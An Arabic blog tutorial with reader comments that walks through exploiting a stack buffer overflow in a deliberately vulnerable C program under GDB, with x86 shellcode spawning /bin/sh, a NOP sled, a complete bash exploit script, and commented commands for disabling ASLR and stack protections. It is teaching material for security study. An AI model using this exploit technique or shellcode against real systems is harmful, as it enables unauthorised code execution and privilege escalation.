Tuesday, April 14, 2009

GDB & Buffer OverFlow

السلام عليكم...

جميعنا تقريبا يعرف ثغرات البافر اوفر فلو, وهناك شروحات كثيره لها على الانترنت, اغلبها مطوله ومعقده.

حبيت بس اني اقوم بشرحها مره اخرى بشكل مبسط وسهل الاستيعاب

بدخل مباشره بوضع كود مصاب والشرح عليه.


#include <%stdio.h%>
#include <%string.h%>

int main(int argc, char **argv) {

char buf[128];

if(argc < 2) return 1;

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;
}
واضح ان الكود قام بنسخ المدخل المستخدم
argv[1]
على البافر الي هو محدد في الكود ب 128 بايت
[drdeath@SecureDeath lab]$ gcc vul.c -o vul

نعمل له كومبايل ونشغله مباشره من الديباقر
gdb
[drdeath@SecureDeath lab]$ gdb vul

نكتب الامر
run
الخاص بالديباقر حتى نبدا تشغيل البرنامج المضروب ونعطيه مدخل كبير

بأستخدام البيرل او البايثون نستطيع تحديد طول المدخل:

بالبايثون:
(gdb) run `python -c 'print "\x41"*150'`

بالبيرل:
(gdb) run `perl -e 'print "\x41"x150'`

مثلا هنا اخبرنا البيرل بأن يقوم بطباعة الهيكس لحرف
A
الي هو 41 بمعدل 150 مره
او ممكن انك بكل بساطه تقوله يطبع حرف
A
مائه وخمسين مره بهذا الشكل:
(gdb) run `perl -e 'print "A"x150'`

المهم الديباقر طلع لنا ان البرنامج ضرب وعمل
segmentation fault
في العنوان
0x41414141
(gdb) run `perl -e 'print "A"x150'`
Starting program: /lab/vul `perl -e 'print "A"x150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

نكتب امر الديباق
(gdb) info registers

لمشاهدة مسجلات الميموري وقيمها

يمكنك معه استخدام اختصارات الاوامر يعني مثلا بدل كتابتgdb الديباقر
info registers
يمكنك فقط كتابة
i r

لمشاهدة جميع المسجلات اكتب الامر
(gdb) info all-registers

المهم نرجع لموضوعنا, بنشاهد ان المسجل
قد تمت الكتابه عليه eip
(gdb) info registers
eax 0x0 0
ecx 0x1000 4096
edx 0x5c5448 6050888
ebx 0x5c3ff4 6045684
esp 0xbfffdcc0 0xbfffdcc0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0xfd8cc0 16616640
eip 0x41414141 0x41414141
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

EIP
وهو اختصار ل
"Extended Instruction Pointer"
وظيفته انه يحدد مكان العمليه القادمه التي سوف يتم تشغيلها, يعني العنوان الي يكون فيه بيكون هو العنوان القادم الي بيتم تشغيله.

الحين بنعمل شوية
fuzzing
eip حتى نعرف بالتحديد كم بايت يلزمنا حتى نكتب مانريد على
بننقص عدد المدخلات , يعني بدل 150 نخليها مثلا 145 واخر اربع بايتات نخليها عدد اخر علشان بس نعرف نميز شو الي انكتب على eip

بهذا الشكل:
(gdb) run `perl -e 'print "A"x145, "B"x4'`

145 مره A كتبنا حرف
B و 4 مرات حرف

نرجع نكتب الامر
info registers
مازالت eip بنشوف ان قيمة
0x41414141
نقلل المدخلات بنخليها 140 ونجرب مره ثانيه
(gdb) run `perl -e 'print "A"x140, "B"x4'`

نكتب امر
info registers
eip مره ثانيه ونشوف قيمة
(gdb) run `perl -e 'print "A"x140, "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level5 `perl -e 'print "A"x140, "B"x4'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0x1000 4096
edx 0xd1c448 13747272
ebx 0xd1aff4 13742068
esp 0xbfffdcd0 0xbfffdcd0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0xa38cc0 10718400
eip 0x42424242 0x42424242
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

eip حلووووو مثل ما شيفين قيمة
صارت
0x42424242
BBBB الي هي الهيكس لحرف
eip يعني شغلنا سليم قدرنا ان نكتب اربع قيم بشكل كامل على

الحين تقريبا نقدر نقول خلصنا الجانب الكبير وصار علينا ان بس نعوض الفازي الي كنا نعمله بأشياء حقيقيه.

بنحتاج الى شل كود يعتمد على انته شو ناوي تسوي, مثلا نروح موقع ميلورم او اي مواقع ثاني فيه شل كودز جاهزه ونختار شل كود جيد حيث ان البروسيسر عندي هو انتل x86 للنظام الي انته بتشغل الشل و الثغره عليه, مثلا انا بختار شل كود صغير لنظام لينكس
على السيرفر /bin/sh واريده يعطيني

http://milw0rm.org/shellcode/2793

نأخذ الشل كود ونرتبه, علشان نحقنه مباشره في الميموري:
\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x 69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

eip بعد ما دخلنا الشل هذا طوله 22 بايت مثل ماهو واضح, قبل شويه كتبنا على
A 140
و
B 4
يعني بدل بننقص 22 من 140 علشان نعمل مكان للشل.
140 - 22 =118

بتصير الحسبه كالتالي:
[nop] [ShellCode] [eip]
118 22 4

هو 118 بدل 140A بيصير عدد

عباره عن قيمه حقيقيه , اذا خليناها البرنامج بيرجع يضرب لانه ما بيحصل اي عنوان اسمهA لكن ال
0x41414141

الي هو الهيكس له 90 nop بنكتب A بدل
مثل ما يعتقدر بعض الشباب null النوب ليس مثل
0x00 قيمتها nullال
وهي مصيبه بالنسبه للشباب الي يكتبون الشل كودز بانفسهم, لانها تقوم بعمل تيرمينيت او الغاء مابعدها وايقاف تشغيل البرنامج.

phpمثل ما ثغرات اللوكل انكلود في ال

0x00 عندما يقوم المخترق باضافة
بعد الانكلود علشان يوقف عمل اي كود اخر في الملف المضروب ويكتفي فقط بالانكلود
../../../../etc/passwd
نفس الشي في ثغرات السكيول انجشكن وغيرها.

المهم نرجع لموضوعنا طلعنا بعيد عنه خخخخخخخخخ.

عباره عن فراغ, انا اشبهها بالهاويه, لان بعد النوب يجي الشل كود مباشره, ونحن بنعطي nopال
nopاي عنوان من عناوين ال eip


هذا مهم جدا:
eip تخيل شو الي بيصير, كتبنا 118 نوب وبعدها شل كود طوله 22 بايت, واخذنا اي عنوان من عناوين ال 118 نوب وكتبناه على
null العنوانين دائما تكون 4 بايت ساعات تكون اقل لكن الفراغات الي فيها تعوض ب 00

eip على nopالمهم ماعلينا, المهم نرجع لتخيلنا, جينا وشغلنا البرنامج وانكتب عنوان ال

بالطبع عنوان النوب يحتوي على فراغ او هاويه والي بعده كذالك والي بعده والي بعده و بيضل يهوي اااااااااالى ان يجد عنوان حقيقي يحتوي على قيمه فعليه, بعد الهاويه الكبيره يجي عندنا مباشره الشل كود, يعني بيشتغل الشل كود مباشره.

eipماله داعي نروح ونقلب الميموري وندور عن عنوان الشل كود, علشان نكتبه على
اي عنوان من عناوين
0x90
بتؤدي الى نفس النتيجه وبشكل افضل

نكمل التطبيق:

nop بنكتب ال118
و يليه الشل كود يليه اربع بايتات الي هي عنوان النوب الي بنجيبه بعد شويه
BBBBحاليا بنخلي قيمته مثل ما هي
(gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "B"x4'`


الي هي اختصار ل ESPبعدها بنستعرض قيم
"Extended Stack Pointer"
يطلع قيم الاستاك ميموري espال

espحاليا نحن مانعرف عناوين النوب , فبندور عنها يدويا, بستعرض حوالي 200 قيمه من قيم الاستاك ميموري من
ممكن تكتب اي عدد مب لازم 200 , بس انا اخترتها علشتان اشوف الميموري بشكل اكبر واعرف اغلب القيم.
(gdb) x/200x $esp
0xbfffdcd0: 0x00000000 0xbfffdd44 0xbfffdd50 0x00000000
0xbfffdce0: 0x00adaff4 0x00000000 0x002e7cc0 0xbfffdd18
0xbfffdcf0: 0xbfffdcd0 0x009c1e6d 0x00000000 0x00000000
0xbfffdd00: 0x00000000 0x002dd090 0x009c1ded 0x002e7ff4
.....................................
..............................
......................
.................
0xbfffde20: 0x00000000 0x656c2f00 0x736c6576 0x76656c2f
0xbfffde30: 0x00356c65 0x90909090 0x90909090 0x90909090
---Type to continue, or q to quit---
0xbfffde40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdea0: 0x90909090 0x90909090 0x0bb09090 0x2f685299
0xbfffdeb0: 0x6868732f 0x6e69622f 0x5352e389 0x80cde189
0xbfffdec0: 0x42424242 0x45485300 0x2f3d4c4c 0x2f6e6962

واضحه تماما عناوين ال118 نوب
0x90
BBBBوبعدها نشوف الشل كود و بعده في السطر الاخير قيم
ناخذ اي عنوان من عناوين النوب , مثلا
0xbfffde60
BBBBونكتبها في الاستغلال بدل ال

بنكتبها بطريقه معكوسه بدل
0xbfffde60
بتكون
\x60\xDE\xFF\xBF
"little endian systemsلان بروسيسرات الانتل طريقه تخزين الداتا فيها تكون معكوسه وهي الي تسمى ب"
عكس بروسيسرات
Motorola و IBM PPC و SUN sparc
"big endian systems"الي تكتب الداتا بشكل مباشر وهي الي تسمى ب

المهم نرجع لموضوعنا, الحين خلاص نرجع نكتب النوب والشل كود وعنوان النوب الي اخترناه مره ثانيه ونشوف شو بيحصل:
(gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Starting program: /lab/vul `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Rh//shh/binكRSفح`��؟
sh-3.1$

gdbاشتغل الشل كود وحصلنا على الشل, نطلع من الدي باقر
argv[1] ونجرب نطبق الاستغلال مباشره من
(gdb) quit
[drdeath@SecureDeath lab]$ ./vul `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`

Rh//shh/binكRSفح`��؟

sh-3.1$ id
uid=500(drdeath) gid=500(drdeath),500(drdeath)
sh-3.1$


suid نجح الاستغلال وحصلنا على الشل, لو كان الملف المصاب له صلاحيات يوزر اخر وكان يستخدم ايضا
في الصلاحيات بنحصل على صلاحيات اليوزر الاخر.

اترك كتابت الاكسبلويت لكل شخص على حسب اللغه الي يحبها اكثر , الاكسبلويت ممكن تنفيذه بأغلب اللغات
و غيرهم c, perl, python, ruby, java, shellScript, php

هذا استغلال بسيط جدا للثغره كتبته باللينكس شل سكربت
#!/usr/bin/env bash
# Sample Buffer OverFlow Exploit
# Coded By Dr.Death

nop=
nlen=118

for ((i=0; i<$nlen; i++));
do
nop=$nop"\x90"
done

ret="\x40\xDE\xFF\xBF"
shellcode="\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"


vulapp='./vul'

expl=$nop$shellcode$ret"\x00"

echo "===========Buffer OverFlow Exploit=========="
echo "===========.::Coded By Dr.Death:.==========="
printf "\n"

$vulapp `printf "$expl"`




تحياتي...
Dr.Death

17 comments:

  1. شرحك أعجبني جداً اخي الحبيب

    ReplyDelete
  2. #include #include int main(int argc, char **argv) {char buf[128];if(argc < 2) return 1;strcpy(buf, argv[1]);printf("%s\n", buf);return 0;}

    احتاج هذا الكود مكتوب بالفيجوال بيسك 6 ان امكن
    وشرح جميل اخي واصل تميزك

    ReplyDelete
  3. السلام عليكم
    والله ماشاء الله عليك شرحك ممتاز جدا :)

    بس عندي سؤال:
    العنوان الاول بعد ما تكتب "A"x150
    لازم يكون
    0x41411414 ولا اي عنوان عادي ؟

    ReplyDelete
  4. وعليكم السلام والرحمه
    اخوي ال Ax150
    معناها ان ندخل معطي قيمة حرف ال A
    وعدده 150
    اي اكثر من ما البافر للبرنامج يشيله
    فبالتالي بيصير كراش للبرنامج وبيقولك ان الكراش صار في اخر عنوان للبافر والي هو بيكون فيه اربع قيم من ال 150 قيمه لحرف ال A

    اقرا الموضوع للنهاية وحاول تطبقه على احد انظمة اللينكس الي مافيها حمايه للستاك ميموري , جرب الباك تراك اظني بيضبط عليه , انا عامل الدرس على ديبيان لينكس نسخه خاصه
    النسخ الجديده من اللينكس كلها تحتوي على خصائص لحماية الميموري من ثغرات فيض المكدس وغيرها

    تحياتي..
    Dr.Death

    ReplyDelete
  5. السلام عليكم
    مشكور يالغلا والله ما قصرت
    انا استخدم Fedora 11 بشوف اجرب على BackTrack وارد لك خبر

    مشكور مرة ثانية :)

    ReplyDelete
  6. السلام عليكم
    لقيت الحل:
    echo 0 > /proc/sys/kernel/randomize_va_space
    gcc buffer.c -o buffer -fno-stack-protector -mpreferred-stack-boundary=2

    thx for your time Doc ; )

    ReplyDelete
  7. انته سكرت ال ASLR
    على الفيدورا وله الباك تراك؟
    الفيدورا ايي مع اكثر من حمايه للستاك مثل
    ASLR, exec-shield, stack-protector...etc

    انا بعد من مستخدمي الفيدورا - افضل نظام للمطورين - فأر تجارب الردهات (^_*)

    ReplyDelete
  8. yeah I use Fedora, and I tried these commands under it.
    I also used this command if it helps:

    echo 0 > /proc/sys/kernel/exec-shield

    ^_^

    ReplyDelete
  9. Hi, sorry for my many questions but I have problem here:

    after I ran this line
    (gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "B"x4'`

    it says program exited normally, ant it has no registers !! how can I solve this ??
    THX

    ReplyDelete
  10. it could be some of Fedora stack protection

    ReplyDelete
  11. "it could be some of Fedora stack protection"
    ^^
    you don't know how to diable it ?!! I really want to move on in BOF ....
    thx again

    ReplyDelete
  12. شو الفرق بين الـremote w local :S ?
    مدونة قوية

    good luck

    ReplyDelete
  13. اخوي Mayar00,
    الجواب موجود في سؤالك, الريموت ريموت واللوكل لوكل
    اذا كانت الثغره في سيرفس لبرنامج يمكن الاتصال به عن بعد صارت الثغره ريموت , واذا كانت الثغره في سيرفس محلي للبرنامج ولا يمكن استغلالها عن بعد صارت لوكل

    ReplyDelete
  14. اهااااا :O
    طيب مفكر تضع مثال؟؟
    اذا مش مفكر عادي مش عايز عزبك :]
    حط موضوع بالمدونة عن سيرتك الشخصية والله مهتم اتعرف على شخصيتك :P
    شكرا اخوي

    ReplyDelete
  15. طلب صغير واخير
    ممكن اذا عندك كتاب
    The Shellcoder's Handbook
    ؟؟

    ReplyDelete
  16. ايه اخوي الكتاب بجزئيه الاول والثاني موجود في مكتبة الكتب
    http://drdeath.myftp.org:881/books/


    السيره الذاتيه مالها داعي , ما بتفيد احد بشي

    ReplyDelete
  17. مبدع يا معلم

    والله ان شاء الله تكون من اقوى المدونات

    ReplyDelete